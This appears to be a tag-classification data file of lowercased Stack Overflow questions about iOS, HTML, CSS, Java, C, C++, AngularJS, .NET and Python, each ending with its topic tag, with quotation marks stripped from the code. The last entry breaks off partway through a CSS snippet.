warning is being thrown when a method that is only available for ios 7 is used  my app supports both <code>ios 6</code> and <code>ios 7</code>. i am using some methods that are available from <code>ios7</code> only (like <code>suspend</code>) but are not available in <code>ios6</code>. however  i am using proper branching for <code>ios6</code> and <code>ios7</code> (putting conditions accordingly). however  i am getting warning when i am using the <code>suspend</code> method.    this is my method:   <pre><code>-(void)alertview:(uialertview *)alertview clickedbuttonatindex:(nsinteger)buttonindex {         uiapplication *app = [uiapplication sharedapplication];      if([app respondstoselector:@selector(suspend)])     {         [app performselector:@selector(suspend)];          [nsthread sleepfortimeinterval:1.0];     }         exit(0); } </code></pre>   the warning is   <pre><code> undeclared selector  suspend   </code></pre>,ios
ie indents table within a table properly but firefox doesn t  i thought that the problem might be with the &amp;nbsp so i was playing around with   that    for a while but that didn t fix it. i assume ie is either ignoring incorrect code and that is why it looks correct on ie         <pre><code>  &lt;table class=ctable border=1 cellpadding=4 cellspacing=0 width=50%&gt;   &lt;tr&gt;      &lt;th       class=th1 colspan=3&gt;hours summary for 04/17/2011 - 04/30/2011      &lt;/th&gt;      &lt;th class=th1&gt;    &lt;/tr&gt;   &lt;tr&gt;       &lt;th&gt;       cost center       &lt;/th&gt;   &lt;th&gt;       cost center name&lt;br&gt; &lt;font size =  1 &gt;cost center owner&lt;/font&gt;   &lt;/th&gt;   &lt;th&gt;       completion&lt;br&gt;status   &lt;/th&gt;   &lt;th&gt;       approval&lt;br&gt;status   &lt;/th&gt;   &lt;/tr&gt;     &lt;tr class= ctablealttd  &gt;       &lt;td        align= center &gt;&lt;a href= javascript:toggledisplay( tr427200 ); &gt;427200&lt;/a&gt;       &lt;/td&gt;       &lt;td         align= center &gt;medctr-non med center approvers&lt;br&gt;harrison rodney steven       &lt;/td&gt;       &lt;td         align= center &gt;&lt;img src= art/circlered.gif          border=0 height=16 width=16 alt= does not meet min requirement &gt;       &lt;/td&gt;       &lt;td         align= center &gt;&lt;img src= art/circlered.gif          border=0 height=16 width=16 alt= does not meet min requirement &gt;       &lt;/td&gt;   &lt;/tr&gt;   &lt;tr id=tr427200 style= display: table &gt;       &lt;td&gt;&amp;nbsp;       &lt;/td&gt;       &lt;td colspan=3&gt; &lt;table class=ctable border=1 cellpadding=4 cellspacing=0 width=100%&gt;   &lt;tr&gt;    &lt;th class=th1 colspan=6&gt;       &lt;tr&gt;           &lt;th&gt;               timesheet group           &lt;/th&gt;           &lt;th&gt;                primary approver           &lt;/th&gt;           &lt;th&gt;               completion&lt;br&gt;status           &lt;/th&gt;           &lt;th&gt;               approval&lt;br&gt;status           &lt;/th&gt;       &lt;/tr&gt;  &lt;/table&gt; </code></pre>,html
storing log4net logs in custom table  i have read <a href= http://logging.apache.org/log4net/release/config-examples.html  rel= nofollow >http://logging.apache.org/log4net/release/config-examples.html</a> and understand that we can store logs in sql server database with following table definition. but my scenario is different. i have an existing table (exceptionlog) used by many applications. it’s columns are somewhat different.     is it possible to configure log4net to use this existing table  how can we do that     log4net table detention:   <pre><code>create table [dbo].[log] ( [id] [int] identity (1  1) not null  [date] [datetime] not null  [thread] [varchar] (255) not null  [level] [varchar] (50) not null  [logger] [varchar] (255) not null  [message] [varchar] (4000) not null  [exception] [varchar] (2000) null ) </code></pre>   existing table:   <pre><code>create table [dbo].[ exceptionlog] ( [exceptionlogid] [int] not null  [date] [datetime] not null  [exception] [varchar] (2000) not  null  [isinternalapp] [varchar] (1) not null  [operation] [varchar] (1000) not null ) </code></pre>,.net
what is the proper declaration in html head  <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;   &lt;meta charset= utf-8 &gt;   &lt;meta name= viewport  content= width=width-divice  initial-scale=1.0 &gt;   &lt;link rel= icon  href= images/icon/icon.png &gt;   &lt;title&gt;t@o&lt;/title&gt;    &lt;link rel= stylesheet  href= style/style.css &gt;    &lt;/head&gt;   &lt;/html&gt; </code></pre>   i ask if there is a lacking code that need to put,html
absurd compilation  this is a basic c code  which according to me should have thrown three errors (function not defined  function not returning anything  function argument missing). but to my surprise it threw nothing  it compiled and gave some garbage results:   <pre><code>#include &lt;stdio.h&gt;  #include &lt;stdlib.h&gt;  int main(int argc  char *argv[]) {     int a=f1();     printf( a %d\n  a);     system( pause );         return 0; }   f1(int *t) {        printf( t %d   t); } </code></pre>   ps: i am using a gcc compiler on windows.,c
objective c  a question about releasing an object  if i do something like    <pre><code>address = [[nsstring alloc] initwithdata:addressdata encoding:nsasciistringencoding]; </code></pre>   then i know that i need to do like [address release] after i am done with using it. because  alloc  increases the reference count of  address  variable so that i need to do   <pre><code> [address release] </code></pre>   but i am not sure that i need to release if i do something like    <pre><code> nsdata *addressdata = [nsdata datawithbytes:buf length:address_len]; </code></pre>   i don t see any  alloc  in this statement..so do i still need to do [addressdata release] after i am done with this      thanks in advance...,objective-c
auto upgrade system apk as setting.apk  i want to do my home app and put it to  /system dir and my home app is the unique home.of course  i custom made my home app and modify android source. all is ok. but i have a question  how to auto update my home app，i donot want to :   <pre><code>adb root adb remount adb shell rm /system/app/your.apk adb push your.apk /system/app </code></pre>   if  i can do it like common app update like:   <pre><code>  download apk and   intent.setdataandtype(uri.fromfile(file)   application/vnd.android.package-archive );     mcontext.startactivity(intent);   </code></pre>   or  modify  android source. can someone give me advice,android
no. of hits on website using c#  could anyone helps me by giving the answer for my question. here is the question... how can we count the number of hits on our website for the day using c#    thanks  bharath,.net
test not passing for this java code  i m writing code that whenever there is a  .xyz  in the string  it returns false  but if there s an xyz without the period it returns true.  the tests for most pass except for this one:   <pre><code>xyzthere( abc.xyzxyz ) </code></pre>   is there a way to fix this test so that it also passes   my code is below.   <pre><code>public boolean xyzthere(string str) {   for (int i = 0; i &lt; str.length() - 2; i++) {     if (str.charat(i) ==  . ) {       if (str.substring(i+1  i+4).equals( xyz )) {         return false;       }     }     else if (str.substring(i  i+3).equals( xyz )) {       return true;     }   }   return false; } </code></pre>,java
angular select ng-model is null after selecting value  i m having a problem with angular select and <code>ng-model</code>. the issue can best be described in this fiddle: <a href= http://jsfiddle.net/9gp8c17m/  rel= nofollow noreferrer >http://jsfiddle.net/9gp8c17m/</a>    basically i have a select such as:   <pre><code>&lt;select ng-options= item.label as item.label for item in entry.data.options | orderby: label   ng-model= entry.data.value &gt; </code></pre>   the value <code>entry.data.value</code> is first set to <code>entry.data.options[0]</code> but that does not make the select list show this value  and if i select another value in the select the <code>entry.data.value</code> becomes null..    any ideas what might be wrong     edit: in the  real app  the <code>entry</code> value comes from a loop of values which can contain many different elements  the select being one of the types. the select is included in the real apps html using a template.,angularjs
signed integer to unsigned integer & dword conversion  i have a win32 api call which returns a signed 32bit integer value (-2147022987).    in windows calculator (in programmer view <code>alt-3</code>) mode set to <code>dec</code> and <code>dword</code> if i enter the value of -2147022987 and then switch the mode to <code>word</code> i get 1909.  am i understanding correctly that 1909 is a representation of one of the two <code>word</code>s contained in the <code>dword</code>  is this value considered the low order <code>dword</code> or the high order <code>dword</code>       how i programmatically do this conversion in c# so i can match the value against the enum type defined below    <pre><code>public enum logonerror : ushort {     logonsuccessful = 0      passwordmustchange = 1907      nosuchuser = 1317      logonfailure = 1326      accountrestriction = 1327      accountdisabled = 1331      invalidlogonhours = 1328      nologonservers = 1311      invalidworkstation = 1329      accountlockedout = 1909      accountexpired = 1793      passwordexpired = 1330 }  </code></pre>,c#
how to convert string to double with certain delimeter   on my maching this code (note     and  . ):   <pre><code>std::cout &lt;&lt; std::stod( 0.055 ) &lt;&lt;       &lt;&lt; std::stod( 0 055 ) &lt;&lt; std::endl; </code></pre>   produce:   <pre><code>0   0.055 </code></pre>   how can i convert  0.055  to double on my machine,c++
uiimage unrecognized selector sent to instance  i have the  classic  error:    <blockquote>    unrecognized selector sent to instance.  </blockquote>   if i read through other comparable questions it should be memory related  however i can t find out what i m doing wrong.    here is what i try to do:   <ul> <li>crop an image</li> <li>give the image rounded corners</li> </ul>   i use the brilliant <a href= http://vocaro.com/trevor/blog/2009/10/12/resize-a-uiimage-the-right-way/  rel= nofollow >code of trevor</a>    this is my code:    the <code>roundedcornerimage:bordersize:</code> is giving the trouble   <pre><code>nsinteger my_bordersize = 0.1; uiimage *image_large = [image_sel croppedimage:cgrectmake((my_width/2) -(my_height*0.66)/2  0  my_height*0.66  my_height) ]; uiimage *roundedcornerimage_temp = [image_large roundedcornerimage:0.8 bordersize:my_bordersize]; </code></pre>,iphone
comparing two strings for identical values <pre><code>// write a program to check whether or not two arrays are identical in size  and hold identical values  string1 = prompt( string 1  ); string2 = prompt( string 2  );  comparenum = 0;  for(i=0; i&lt;string1.length; i++) {     for(j=i; j&lt;string2.length; j++)     {     if (string1.charat(i) == string2.charat(j)) {         comparenum++;         break; }     } };  alert( we found   + comparenum +   identical value(s). ); </code></pre>   i ve managed to build a relatively simple string comparison program but now the problem i have is the result it outputs.     for example if i type in  jeansy  and  jeansy  - i get the response of  we found 6 identical values.      whereas if i type in  molanza  and  molanza  - i get the reply of  we found 9 identical values.      surely it should only be 7     or does the  a  get counted twice  is there anyway i can negate this     btw i m taking into account all strings.    thanks in advance!,javascript
what would be wrong if we store the instances of class in a treeset  hi i have one doubt that  i stored the instance of a class in a arraylist. what would be wrong if we store the instances of class in a treeset instead of arraylist     can any one help me in brief description,java
angular - watching a form whether its $dirty - performance  in my angular app  i m setting the placeholders in my form through some code in the controller (showing particular text for particular times of day).    when a user begins typing into any field of that form  i want all placeholders to be cleared.     to do this i understand i need to use <code>$dirty</code> using <code>$watch</code>   <pre><code>$scope.$watch( myform.$dirty   function() {     //clear the placeholders }  true); </code></pre>   my question is <code>watch</code> quite performance intensive in this situation or is there a more optimised way     thanks.,angularjs
how to add toolbar to table view in iphone apps   i am developing a window-based application in which  i added tabbarcontroller and have table view to navigate from one table view(<code>rootviewcontoller</code>) to another table view(<code>favoriteviewcontroller</code>).    in this table view(<code>favoriteviewcontroller</code>)  i wanna add a toolbar. please aid me to overcome this problem. thanks....,iphone
converting call from a .txt into a string c++  i m trying to read from a text file and then count the number of occurences of each word and then export the results to a different text file. i m only allowed to use loops and arrays for this assignment. i m just looking for a slight push in the right direction  primarily in the beginning of the code. it s not compiling correctly!   <pre><code>using namespace std; #include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;string&gt; #include &lt;fstream&gt;   void put(string word  string words[]  int counts[]  int &amp; size)  {  int w;  for (w = 0; w &lt; size &amp;&amp; word &gt;= words[w]; w++);  if (w &gt;= size) {  words[w] = word;  counts[w] = 1;  ++size; } else if (word &lt; words[w]) {  for (int i = size - 1; i &gt;= w; i--) {  words[i + 1] = words[i];  counts[i + 1] = counts[i]; } words[w] = word; counts[w] = 1; ++size; } else { counts[w] = counts[w] + 1; } }  int main() {  int word;   ifstream input( input.txt );  ofstream chout( charcount.txt );  ofstream wout( wordscounts.txt );    int inputsize = sizeof(input) / sizeof(string);  int counts[100];  const int max = 100;  string words[max];  int wordssize = 0;    while (input &gt;&gt; word) {   put(input[word]  words  counts  wordssize);  }     wout &lt;&lt;         word  frequency  &lt;&lt; endl;  for (word = 0; word &lt; inputsize; ++word) {  wout &lt;&lt; setw(10) &lt;&lt; words[word] &lt;&lt; setw(4) &lt;&lt; counts[word] &lt;&lt; endl;  }     chout.close(); wout.close();  system( pause ); return 0; } </code></pre>,c++
routeprovider and defining controllers  how to define controllers correctly     i want to use this form of definition:     in a real application you should use the .controller method of your angular module for your application as follows:    <pre><code>myapp.controller( greetingctrl   [ $scope   function($scope) { $scope.greeting =  hola! ; }]); </code></pre>   my code   <pre><code>    var project = angular.module( project   [])         .config(function($routeprovider) {         $routeprovider.             when( /   {controller: ctrl1   templateurl: tabb_1.html }).             when( /tab1   {controller: ctrl1   templateurl: tabb_1.html }).             when( /tab2   {controller:  ctrl2   templateurl: tabb_2.html }).             when( /tab3   {controller:  ctrl3   templateurl: tabb_3.html }).             otherwise({redirectto: / });     });    project.controller( ctrl1    $scope   function(scope){  });  project.controller( ctrl2   $scope   function(scope){  });  project.controller( ctrl3    $scope   function(scope){  }); </code></pre>   i get  error: argument  ctrl1  is not a function  got string  where is error,angularjs
how can i distinguish a boolean nsnumber from a real number   i m getting a value back from an objective c library (it s firebase  but that doesn t really matter) of type <code>id</code>. the documentation states that this value will be an nsnumber for both boolean and numeric results. i want to take a different action based on whether or not this result corresponds to a boolean.    i know this is possible because printing out the class of the result via <code>nsstringfromclass([value class]);</code> gives  __nscfboolean  for booleans  but i m not really sure how to correctly structure the comparison.,objective-c
the best overloaded method match for  system.data.dataview.dataview(system.data.datatable)  has some invalid arguments  i am using the sorting function for the gridview and getting the above error    my sorting function is   <pre><code>protected void gvusermaster_sorting(object sender  gridviewsorteventargs e) {     usermasterclass cs = new usermasterclass();      resultclass objres = cs.fn_getusermasterlist();     if (objres.bstatus)     {         eslist&lt;usermasterclass&gt; objlist = objres.objdata as eslist&lt;usermasterclass&gt;;         if (objlist.count &gt; 0)         {              datatableconverter&lt;usermasterclass&gt; dt = new datatableconverter&lt;usermasterclass&gt;();            dt.getdatatable(objlist);              if (dt != null)             {                  dataview dataview = new dataview(dt);                 dataview.sort = e.sortexpression +     + convertsortdirectiontosql(e.sortdirection);                  gvusermaster.datasource = dataview;                 gvusermaster.databind();             }         }     } } </code></pre>   i am getting the error on this line dataview dataview = new dataview(dt);    thanks,asp.net
is there a way to restrict user to input only numerical values for the variables  <pre><code>#include&lt;stdio.h&gt;  void main(void) {        int n1 n2 r; // variables      //this just simply add n1 and n2 and shows the result  i want it     // to only allow numbers not alphabet     printf( enter the first number =  );     scanf( %d  &amp; n1);     fflush(stdin);     printf( enter the second number =  );     scanf( %d  &amp; n2);     fflush(stdin);     r=n1+n2;     printf( total = %d    r); } </code></pre>   as you can see my codes wont restrict anything  i want help in restricting the input of alphabets,c
css word-break combined with text-overflow  so i am trying to combine <code>word-break</code> with <code>text-overflow</code> which does work at some point but not how it should be.    for example  i have set up this <a href= http://jsfiddle.net/43ske/  rel= nofollow ><strong>fiddle</strong></a>    css:   <pre><code>width: 200px; padding: 8px; border:1px solid blue; word-break: break-word; height: 100px; overflow: hidden; text-overflow:ellipsis; white-space:nowrap; </code></pre>   for clarification  once text is broken in to parts it should fill box and at the end of the text there should be 3 dots. currently there is just a single line where it works.,css
a loop that prints even numbers   i was supposed to write a code that asks for a name  asks for a number between 1 and 10  and then prints the numbers from 1 to the number the user entered except every third number should be the user s name that was entered at the beginning of the program. my code fulfills that purpose. the next step is to use a loop that prints all the even numbers from 2 to the user s number. i m not sure how to include this in my code or even what kind of loop i should use. can someone explain how to include this correctly  here is the code so far.   <pre><code>import java.util.scanner;  public class newclass1 {     public static void main(string[] args) {          int number;          scanner scan = new scanner(system.in);         system.out.print( enter your name:  );         string name = scan.nextline();          system.out.print( please enter a number between 1 and 10:  );         number = scan.nextint();          //asks for a number between one and ten until i get number within that range          while (number &lt; 1 || number &gt; 10) {             system.out.print( no  between 1 and 10:  );             number = scan.nextint();         }          for (int i = 1; i &lt;= number; i++) {             if (i % 3 == 0) {                 system.out.print(name +    );             } else {                 system.out.print(i +    );             }         }     } } </code></pre>,java
how i use a class inside another in php   i have two classes. usermodel and usercontroller.    file: localhost/controllers/user.controller.php   <pre><code>&lt; php class usercontroller {     public function getarray() {         $query =  select id  username  email  password from users ;         $result = mysql_query($query);         $model = new usermodel();         while ($row = mysql_fetch_array($result)) {             $model-&gt;id = $row[ id ];             $model-&gt;username = $row[ username ];             $model-&gt;email = $row[ email ];             $model-&gt;password = $row[ password ];             $array[] = $model;         }         return $array;     } }  &gt; </code></pre>   the usermodel class is in another file: localhost/models/user.model.php. the 6th row is causing the error  because there s no references to the other file. how can i do that     sorry for my bad english  and thanks to you all.,php
ussupported url nsurlconnection  i want lazyload in my app so i am downloading images using nsurlconnection as you can see   <pre><code>premiumrequest=[nsurlrequest requestwithurl:[nsurl urlwithstring:@ www.aaaaaaaaa.com/aaaaaaaaa/api/uploads/company_logo/cc2ab63fd3eb564be64b4f21bd083bc7.png ]                    cachepolicy:nsurlrequestuseprotocolcachepolicy                 timeoutinterval:60.0];  premiumconnection=[[nsurlconnection alloc] initwithrequest:premiumrequest delegate:self]; </code></pre>   but unfortunately i get following error    <pre><code>error downloading: unsupported url </code></pre>   if paste the url on browser it works well but it is not working in nsurlconnection   please help what is the problem with above url,iphone
avoid appending first line when writing to a text file  i have a program that takes user input and writes it to a text file. however  when i try to append to my text file  it rewrites my  header  line. how can i avoid that    <pre><code>// studytime.cpp :  /* track study time accept user input store in .txt file */  #include  stdafx.h  #include &lt;string&gt; #include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;iomanip&gt;  using namespace std;  int main() {     string date =   ;     double hours = 0;     const string filename =  studytime.txt ;      ofstream myfile (filename  ios_base::app); //create filename and allow appending      myfile &lt;&lt;  date  &lt;&lt; setw(15) &lt;&lt;  study time  &lt;&lt; endl; //header line      //prompt user for date     cout &lt;&lt;  date:  ;      cin &gt;&gt; date;      //prompt user for hours     cout &lt;&lt;  hours:  ;     cin &gt;&gt; hours;      if (date.size() == 3) {         myfile &lt;&lt; date &lt;&lt; setw(8) &lt;&lt; hours &lt;&lt; endl; //write date and hours to txt file     }      else if (date.size() == 4) {         myfile &lt;&lt; date &lt;&lt; setw(7) &lt;&lt; hours &lt;&lt; endl; //write date and hours to txt file     }      else         myfile &lt;&lt; date &lt;&lt; setw(6) &lt;&lt; hours &lt;&lt; endl; //write date and hours to txt file      myfile.close(); //close file      return 0; } </code></pre>   <a href= https://i.stack.imgur.com/8x9hj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/8x9hj.png  alt= image ></a>,c++
player1turn() won t return desired value  player1turn() keeps saying that  regardless of what i put in  that temp = 0. temp is supposed to be which pit they chose  but numerically  so i could return temp and use it in the array. also  i know there needs to be a return statement to complete the method  but for now i m just trying to get temp to equal what i want it to. suggestions for the whole thing are welcome  but i m primarily concerned on player1turn(). thanks   <pre><code>   import java.util.*;  public class mancala {   scanner input = new scanner(system.in);   public static void main(string[]args)   {     mancala mancala = new mancala();     int[] board = {0 3 3 3 3 3 3 0 3 3 3 3 3 3};     system.out.print(   );     mancala.display(board);     system.out.print(   );     mancala.player1turn();    }   public static void display(int[] board) {     system.out.println(  a  b  c  d  e  f );     system.out.print(   );   for(int i = 13; i &gt;=8; i--)   {     system.out.print(   +board[i]+   );   }   system.out.println( \n +board[0]+                    +board[7]);   system.out.print(   );   for(int i = 6; i &gt;=1; i--)   {     system.out.print(   +board[i]+   );   }   system.out.println( \n  g  h  i  j  k  l ); } public void player1turn() {   int temp = 0;   system.out.print( which pit would you like to select   );   string pit = input.nextline();   {   if(pit ==  a )     temp = 13;   else if(pit ==  b )     temp = 12;   else if(pit ==  c )     temp = 11;   else if(pit ==  d )     temp = 10;   else if(pit ==  e )     temp = 9;   else if(pit ==  f )     temp = 8;   else     system.out.print( that is not a valid pit! );   }   system.out.print(temp); } } </code></pre>,java
remove html table row by after checking chekbox that in row  how to remove using jquery html table row after checking checkbox that in this row    <pre><code>&lt;table  id= maintable &gt;     &lt;tr&gt;         &lt;th&gt;             name         &lt;/th&gt;         &lt;th&gt;             remove         &lt;/th&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= text  /&gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= checkbox  id= chb1  /&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type= text  /&gt;         &lt;/td&gt;         &lt;td&gt;             &lt;input type= checkbox  id= chb2  /&gt;         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   for example  i select checkbox with id chb2  and want that second row is removed,jquery
is using of memorymappedfile instance  opened by memorymappedfile.openexisting method threadsafe   in my wcf service i need to provide functionality of files downloading with supporting of <code>range</code> http header for chunked downloading. the first call to <code>getfile</code> method of service creates new <code>memorymappedfile</code> instance from file on disk. let s assume that in time when mmf created by the first request and that request still processing  the second call to <code>getfile</code> method of service opening existing mmf and returning streamed response to client. what happens if mmf will be disposed (and source file closed on memorymappedfile disposing) by thread which create it  should second call successfully read all content from already opened viewstream or no     i had wrote small test and seems that till memorymappedfile opened by <code>openexisting</code> method  it s lifetime extended and source file keeps opened. is this true  or i missed some pitfall  i can t find any documentation for such case in msdn.    <strong>update</strong>: added additional thread.sleep call after existing mmf opened before obtaining mapview of file to simulate threads race   <pre><code>private static readonly string mapname =  foo ; private static readonly string filename = @ some big file ;  static void main(string[] args) {     var t1 = task.factory.startnew(openmemorymappedfile);     var t2 = task.factory.startnew(readmemorymappedfile);      task.waitall(t1  t2); }  private static void openmemorymappedfile() {     var stream = file.openread(filename);     using (var mmf = memorymappedfile.createfromfile(stream  mapname  0  memorymappedfileaccess.read  null  handleinheritability.none  false))     {         console.writeline( memory mapped file created );         thread.sleep(1000); // timeout for another thread to open existing mmf     }      console.writeline( memory mapped file disposed ); }  private static void readmemorymappedfile() {     thread.sleep(100); //wait till mmf created     var buffer = new byte[1024 * 1024]; //1mb chunk     long totallength = 0;     using (var f = file.openread(filename))     {         totallength = f.length;     }      using (var mmf = memorymappedfile.openexisting(mapname  memorymappedfilerights.read))     {         console.writeline( existing mmf opened successfully );         thread.sleep(2000); //simulate threads race          using (var viewstream = mmf.createviewstream(0  0  memorymappedfileaccess.read))         {              console.writeline( view of file mapped successfully );             file.delete(path.getfilename(filename));               using (var filestream = file.open(path.getfilename(filename)  filemode.createnew  fileaccess.write))             using (var writer = new binarywriter(filestream))             {                 int readbytes;                 do                 {                     readbytes = viewstream.read(buffer  0  buffer.length);                     writer.write(buffer  0  readbytes);                      console.write( {0:p}% of target file saved\r   filestream.length / (float)totallength);                     thread.sleep(10); //simulate network latency                  } while (readbytes &gt; 0);                 console.writeline();                 console.writeline( file saved successfully );             }         }     } } </code></pre>,.net
activation record in c <pre><code>void test(int p1[10]  int p2) {     int l1;     int l2[10];      printf( params are at %d and %d\n   &amp;p1  &amp;p2);     printf( locals are at %d and %d\n   &amp;l1  &amp;l2[0]); }   int main(void) {     test(5  10); } </code></pre>   i m a bit confused by the code above... how can we supply an argument of 5 to the test function when the function has already specified an array of p[10]. the output address is also very strange  the p1 and p2 should have been 40 addresses apart (array of 10 elements times 4 bytes per int). but the console shows that they re only 4 units apart....,c
css terminology: what s this called in a property value   in a css property  there are certain value declarations that look like functions  eg   <pre><code>background: rgba(0 0 0 0); </code></pre>   or   <pre><code>background-image: url( bg.png ); </code></pre>   the first part is called the property  eg <code>background</code> and <code>background-image</code>. the second part in general is called the value. but what is the part outside of the parentheses called  eg <code>rgba(...)</code> and <code>url(...)</code>.    thanks!,css
e_notice : type 8 -- undefined variable  i m pretty new with php and i m trying to learn all by myself.     i tried to create a simple form with a simple calc to incorporate on my website but i got this e_notice. and don t know how to echo the result in the html too.    someone can help     link here: <a href= http://phpfiddle.org/main/code/tjf-g9r  rel= nofollow >phpfiddle</a>,php
css how to align horizontal element inside <li>  i have this html code   <pre><code>&lt;ul id= list-table &gt;     &lt;li&gt;         &lt;table id= test-tab &gt;...&lt;/table&gt;         &lt;ul id= panel-table &gt;...&lt;/ul&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   i want table  test-tab  and ul  panel-table  inside li display horizontal like this <a href= http://img.photobucket.com/albums/v246/tuanvenus/table-css.png  rel= nofollow >http://img.photobucket.com/albums/v246/tuanvenus/table-css.png</a>,css
"write text in middle of the image before hover  i have an image with gray filter in this <a href= https://jsfiddle.net/jolqvqyd/2/  rel= nofollow noreferrer >fiddle</a>  as you can see in hover action i remove filter  i want to know how can i add a simple text just in middle in image when filter is active  then remove in hover just like filter.. something like  hover image to see our offices   it can be with css  or we need js for that     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.tooltip {
   position: absolute;
   z-index: 9999;
   border: 1px solid black;
   min-width: 100px;
   max-width: 150px;
   background: white;
   border-bottom: 1px dotted black;
   pointer-events: none;
   width: 120px;
   background-color: black;
   color: #fff;
   text-align: center;
   border-radius: 6px;
   padding: 5px 0;
 }
 
 area {
   position: relative;
 }
 
 .parent {
   position: relative;
 }
 
 .profile-pic {
   width: 100%;
   height: auto;
   /* border-radius: 50%; */
   box-shadow: #222 0.2em 0.2em 1em;
   -webkit-filter: grayscale(100%) brightness(135%) contrast(120%);
   filter: grayscale(100%) brightness(135%) contrast(120%);
   transition: filter 0.3s  box-shadow 0.3s;
   -webkit-transition: filter 0.3s  -webkit-filter 0.3s  box-shadow 0.3s;
 }
 
 .profile-pic:hover 
 .profile-pic:focus {
   -webkit-filter: none;
   filter: none;
   box-shadow: #224 0.2em 0.2em 0.6em 0.1em;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= parent &gt;
   &lt;img id= mapimage  src= https://i.imgur.com/y7huhdq.png  usemap= #image-map  class= profile-pic &gt;
 
   &lt;map name= image-map &gt;
     
 &lt;area target=   data-text= usa shops: manchester tn - num: 6621418372 wixom  mi - num:662728173  alt= usa  title= usa  href=   coords= 110 140 182 141 186 148 198 146 198 140 214 139 224 134 234 143 221 150 213 154 205 156 205 170 199 174 194 181 193 188 162 182 158 171 149 173 145 179 141 170 124 168 121 173 112 168 105 158  shape= poly &gt;
                 
 &lt;area target=   data-text= mexico shops: manchester tn - num: 6621418372 wixom  mi - num:662728173   alt= mexico  title= mexico  href=   coords= 124 172 137 171 141 178 152 173 160 181 162 204 179 199 179 211 157 212 173 216 146 204 136 196 125 188  shape= poly &gt;
                  
 &lt;area target=   data-text= japan shops: manchester tn - num: 6621418372 wixom  mi - num:662728173   alt= japan  title= japan  href=   coords= 705 106 716 106 721 146 687 184 667 175  shape= poly &gt;
                  
 &lt;area target=   data-text= germany shops: manchester tn - num: 6621418372 wixom  mi - num:662728173   alt= germany  title= germany  href=   coords= 418 111 436 108 433 124 418 124  shape= poly &gt;
 &lt;div class= tooltip  id= tooltip &gt;&lt;/div&gt;   
 &lt;/map&gt;
 
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
show only the hexadecimal string  i m writing a code on python to read information from a rfid  but how i d left only the hexadecimal part     code:   <pre><code>import serial as s ser = s.serial( com8   9600  timeout=10000) rfid = ser.read(13).splitlines() print(rfid) </code></pre>   output:   <pre><code>[b \x024500f38ec7ff ] </code></pre>   expected output:   <pre><code>4500f38ec7ff </code></pre>,python
how can i use for loop for 2 lists simultaneously e.g a=[ah  b  ub] b=[aa  b  yu]  i want to get <code>ah</code> and <code>aa</code> at the same time as two different variables  maybe called  <code>cap</code> and <code>lowercase</code>.   <pre><code>for cap  lowercase in a b:     print(cap+lowercase) </code></pre>   <code>zip</code> does not work because it only reads the <code>a</code> from <code>ah</code>.,python
how stackoverflow has implemented the logic for displaying flags on mouse over of comments  i need logic to display images on mouse over of datagrid in asp.net,asp.net
angularjs: how change icon when item is clicked  i know that this question has already some answers/solutions but none of them works for me most probably because this is the first time when i m trying to implement something using angularjs.    i have a <code>div</code> (title) that expands some info when it s clicked and i want to change the icon inside of it when that info is visible...    this is my code:   <pre><code>&lt;div class= title  ng-click= view_variables(request) &gt;     &lt;i class= glyphicon glyphicon-chevron-right &gt;&lt;/i&gt; &lt;/div&gt; </code></pre>   and this is what i tried to do  but not working because the div will not show the expanded info anymore:   <pre><code>&lt;div class= title  ng-click= view_variables(request) = !view_variables(request) &gt;     &lt;i ng-class= { glyphicon glyphicon-chevron-right :!view_variables(request)   glyphicon glyphicon-chevron-left : view_variables(request)} &gt;&lt;/i&gt; &lt;/div&gt; </code></pre>   controller code:   <pre><code>$scope.view_variables = function(req){     if (!req.enabled_variables &amp;&amp; !req.disabled_variables) {         $http.get( /api/files/  + $scope.file_id +  /requests/  + req.id +  /variables )         .success(function(data){             variables = data.data;             req.enabled_variables = [];             req.disabled_variables = [];             for (i=0; i&lt;variables.length; i++) {                 if (variables[i].disabled == true) {                     req.disabled_variables.push(variables[i]);                 } else {                     req.enabled_variables.push(variables[i])                 }             }         });     }      req.show_variables = !req.show_variables; } </code></pre>,angularjs
how to convert const void* to unsigned char*   what c++ casts is the c cast using in order to convert from a const void* to a unsigned char*    <pre><code>auto ucharptr = (unsigned char*)const_void_ptr; </code></pre>,c++
how long time usually application is given to finish in background (backgroundtimeremaining)  i need to get user location update when application is in background. i used  significant change feature  but the problem with significant change it s not accurate.    hence  to  improve accuracy of   significant change  a  little bit  i m thinking to complement this with <code>uiapplication:beginbackgroundtaskwithexpirationhandler:</code>.    thus  my question is how long usually application is given (the value in <code>backgroundtimeremaining</code>) to run in background.,ios
how to change the symbol when click in css   how can i change the symbol to  v  when click the widget title  after click back the widget title will change back the symbol  > .    image before click: <a href= https://i.stack.imgur.com/d59tj.png  rel= nofollow noreferrer >link</a>    this is my css that added after the widget title.   <pre><code>.widgettitle a::after {     content:   &gt; ;         font-size:16px;         color:#d3db2c!important; } </code></pre>,css
"how do i stop the display:block; behavior in this nav bar link that has the inline property   i m creating a digital portfolio for myself  and i have created a basic navigation bar  with ul/li styling  using css and html. the hover effect i want is almost there  but when you hover over the image  there is a white box behind the link text. from my understanding  that should only happen if the display property is set to block  since inline is the default  and i have property set to inline but it still behaves as if its block. can you help     this is my current css code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>ul{
     list-style:none;
     width:100%;
     border-width: 2px 0px 2px 0px;
     border-color: rgb(255 255 255);
     border-style: solid;
     padding: 0px;
     line-height: 0px;
     font-family:  raleway ; 
     font-size: 100%;
     color: rgb(255 255 255);
     letter-spacing: 0.2em;
     position: relative;
     margin-top: 9%;
     left: 0%;
     right: 100%;
     float:left;
 }
 
